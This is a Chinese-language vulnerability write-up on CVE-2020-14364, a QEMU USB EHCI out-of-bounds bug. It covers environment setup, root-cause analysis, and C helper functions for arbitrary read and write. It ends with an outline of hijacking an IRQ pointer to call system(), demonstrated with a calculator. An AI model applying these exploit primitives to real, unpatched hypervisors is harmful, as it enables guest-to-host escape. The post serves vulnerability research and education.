CVE-2020-14364调试分析

CVE-2020-14364

搭建环境

目前公开的两种漏洞利用思路,肖伟前辈在ISC2020上提出的第二种利用方案中用到了qxl-vga设备,所以在搭建环境的时候如果想尝试两种方法的话,需要提前安装spice,添加--enable-spice参数进行qemu的编译。

安装spice

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#安装spice-protocol
wget https://spice-space.org/download/releases/spice-protocol-0.12.10.tar.bz2
tar xvf spice-protocol-0.12.10.tar.bz2
cd spice-protocol-0.12.10/
./configure
make -j4
sudo make install

#安装celt
wget http://downloads.us.xiph.org/releases/celt/celt-0.5.1.3.tar.gz
tar zxvf celt-0.5.1.3.tar.gz
cd celt-0.5.1.3/
./configure
make -j4
sudo make install

#安装依赖
sudo apt install libjpeg-dev
sudo apt install libsasl2-dev

#安装spice-server
wget https://spice-space.org/download/releases/spice-server/spice-0.12.7.tar.bz2
tar xvf spice-0.12.7.tar.bz2
cd spice-0.12.7/
./configure
make -j4
sudo make install

之后就是普通的安装流程,编译qemu

1
2
3
4
5
6
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout tags/v4.0.0
./configure --enable-kvm --enable-debug --target-list=x86_64-softmmu --disable-werror
make -j4
make install

x86_64-softmmu目录下可以找到编译好的qemu-system-x86_64

制作usb.img

1
2
qemu-img create -f raw usb.img 32M
mkfs.vfat usb.img

内核镜像和文件系统直接拿之前的就可以使用,具体制作方法参考:http://jiayy.me/2019/04/15/CVE-2015-5165-7504/

启动脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
qemu/x86_64-softmmu/qemu-system-x86_64 \
-enable-kvm \
-m 1G \
-kernel bzImage \
-hda ../img/qemu.img \
-append "console=ttyS0 root=/dev/sda rw quiet" \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22 \
-usb \
-drive if=none,format=raw,id=disk1,file=./usb.img \
-device usb-storage,drive=disk1 \
-device ich9-usb-ehci1,id=usb \
-nographic
# -device qxl-vga 第二种利用手法需开启

启动后发现USBEHCI设备号为00:04.0

image.png

漏洞分析

1
2
3
4
5
6
7
8
9
10
echi_work_bh
=>ehci_advance_periodic_state
=>ehci_advance_state
=>ehci_state_execute
=>ehci_execute
=>usb_handle_packet
=>usb_process_one
=>do_token_setup #漏洞点
=>do_token_in #任意地址读写
=>do_token_out #任意地址读写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;

if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}

usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; //此检测为无用检测,先将size赋值给s->setup_len,再进行检测,即使检测失败返回上层函数,size已经留在了s->setup_len中,后续其会在do_token_in/out中被使用,可以进行越界读写,进而任意地址读写。
if (s->setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
......
}

调试

先用gdb加载qemu,然后source debug.txtdebug.txt内容如下:

1
2
b usb_process_one
r -enable-kvm -m 1G -kernel bzImage -hda ../img/qemu.img -append "console=ttyS0 root=/dev/sda rw quiet" -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::5555-:22 -usb -drive if=none,format=raw,id=disk1,file=./usb.img -device ich9-usb-ehci1,id=usb -device usb-storage,drive=disk1 -nographic

漏洞利用

实现任意地址读写之前我们要先用越界读获取到USBDevice->data_buf[]的地址。

用到的结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct USBDevice {
DeviceState qdev;
USBPort *port; //important
char *port_path;
char *serial;
void *opaque;
uint32_t flags;
......
uint8_t setup_buf[8]; //important
uint8_t data_buf[4096]; //important
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len; //important
int32_t setup_index; //important

USBEndpoint ep_ctl; //important
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];

QLIST_HEAD(, USBDescString) strings;
const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
const USBDescDevice *device; //important
......
};

用越界读读取USBDevice->data_buf[]下方的内容,USBDevice->data_buf[]下方的ep_ctl->dev处存有USBDevice对象自身地址,通过USBDevice的地址我们可以得到USBDevice->data_buf[]的地址进而实现任意地址读写。

此外,越界读还可以获取到USBDevice->port指针,其指向EHCIState->ports,所以读取USBDevice->port就能获得EHCIState->ports 的地址,减去偏移得到EHCIState的地址。进而得到EHCIState->irq地址,为后续劫持程序执行流做准备。

1
2
3
4
5
6
7
struct EHCIState {
USBBus bus;
DeviceState *device;
qemu_irq irq; //劫持执行流时使用
......
USBPort ports[NB_PORTS];
}

此外,越界读还可以获取到USBDevice->usb_desc指针的地址,其指向.data段的desc_device_high,利用其可获取到system地址。

1
2
3
4
5
6
7
8
9
10
11
......
.data.rel.ro:00000000010263C8 align 10h
.data.rel.ro:00000000010263D0 ; const USBDescDevice_0 desc_device_high
.data.rel.ro:00000000010263D0 desc_device_high dw 200h ; bcdUSB
.data.rel.ro:00000000010263D0 ; DATA XREF: .data.rel.ro:desc↓o
.data.rel.ro:00000000010263D0 db 0 ; bDeviceClass
......
.plt.got:00000000002B2920 ; int system(const char *command)
.plt.got:00000000002B2920 system proc near ; CODE XREF: slirp_smb_cleanup+4A↓p
.plt.got:00000000002B2920 jmp cs:system_ptr
.plt.got:00000000002B2920 system endp

任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static void do_token_in(USBDevice *s, USBPacket *p)
{
......
switch(s->setup_state) {
case SETUP_STATE_ACK:
......
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) { //setup_buf[0]需要为USB_DIR_IN
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len; //setup_index会自增
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static void do_token_out(USBDevice *s, USBPacket *p)
{
......
switch(s->setup_state) {
case SETUP_STATE_ACK:
......
case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) { //setup_buf[0]不能为USB_DIR_IN
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len; //setup_index会自增
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}

任意地址写因为不用转换setup_buf[0]标志位,所以比较简单(offset = target_addr - data_buf_addr):

  1. 设置setup_len0x1010
  2. 越界写,将setup_len设置成offset+0x8setup_index就设置为offset-0x1010
  3. 越界写(向target_addr写入8字节数据)。
1
2
3
4
5
6
7
8
9
10
流程:(offset = target_addr - data_buf_addr
<1> set setup_len = 0x1010
<2> 1st_oob_write
setup_len = 0x1010,setup_index = 0x0,len = 0x1010
usb_packet_copy(data_buf_addr+setup_index, len) //覆写setup_index和setup_len
setup_len = offset + 0x8,setup_index = offset - 0x1010
setup_index自增len后:setup_index = offset
<2> 2st_oob_write
setup_len = offset + 0x8,setup_index = offset,len = 0x8
usb_packet_copy(data_buf_addr+setup_index, len) //从target_addr往后覆盖8字节

代码:

1
2
3
4
5
6
7
8
9
10
11
12
void arb_write(uint64_t target_addr, uint64_t payload)
{
setup_state_data();

set_length(0x1010, USB_DIR_OUT);

unsigned long offset = target_addr - data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);

*(unsigned long *)(data_buf) = payload;
do_copy_write(0, 0xffff, 0);
}

任意地址读

任意地址读因为需要设置setup_buf[0]的标志位,所以要复杂一些(offset = target_addr - data_buf_addr):

  1. 设置setup_len0x1010
  2. 越界写将setup_len设置为0x1010setup_index设置为0xfffffff8-0x1010
  3. 越界写将setup_buf[0]设置为USB_DIR_IN,将setup_len设置为0xffff,将setup_index设置为offset-0x1018
  4. 越界读,读取target_addr处内容。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
流程:(offset = target_addr - data_buf_addr
<1> set setup_len = 0x1010
<2> 1st_oob_write
setup_len = 0x1010,setup_index = 0x0,len = 0x1010
usb_packet_copy(data_buf_addr+setup_index, len) //覆写setup_index和setup_len
setup_len = 0x1010,setup_index = 0xfffffff8-0x1010
setup_index自增len后:setup_index = 0xfffffff8
<3> 2st_oob_write
setup_len = 0x1010,setup_index = 0xfffffff8,len = 0x1018
usb_packet_copy(data_buf_addr+setup_index, len) //覆写setup_buf[0],setup_index和setup_len4
setup_len = 0xffff,setup_index = offset-0x1018
setup_index自增len后:setup_index = offset
<3> 3st_oob_read
setup_len = 0xffff,setup_index = offset,len = 0xffff-offset
usb_packet_copy(data_buf_addr+setup_index, len) //读取target_addr处内容

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned long arb_read(uint64_t target_addr)
{
setup_state_data();

set_length(0x1010, USB_DIR_OUT);

do_copy_write(0, 0x1010, 0xfffffff8-0x1010);

*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsigned int target_offset = target_addr - data_buf_addr;

do_copy_write(0x8, 0xffff, target_offset - 0x1018);
do_copy_read(); // oob read
return *(unsigned long *)(data_buf);
}

之后的利用思路为:

  1. USBDevice->data_buf[]中布置fake_irq,其函数指针布置为system,参数为gnome-calculator字符串地址。
  2. 获取EHCIState->irq指针地址,利用任意地址写将其改为fake_irq的地址。
  3. 通过mmio_write读写触发ehci_update_irq => qemu_set_irq

核心思路其实不难,也比较稳定,不像恶心的堆溢出,我觉得调试过程中遇到最大的问题是怎么绕过那些繁琐的检测,设置各种标志位啥的,很无聊和枯燥。。。这里就不分析了。

PS:irq真的是个好东西。。。

利用代码我就不放了,网上已经公开,利用效果如下:

参考

https://www.anquanke.com/post/id/227283#h2-7

https://xz.aliyun.com/t/8320#toc-6

https://www.wangan.com/articles/992#ea6f3b

https://github.com/ZhuriLab/Exploits/blob/master/cve-2020-14364/cve-2020-14364_local-exp.c

打赏还是打残,这是个问题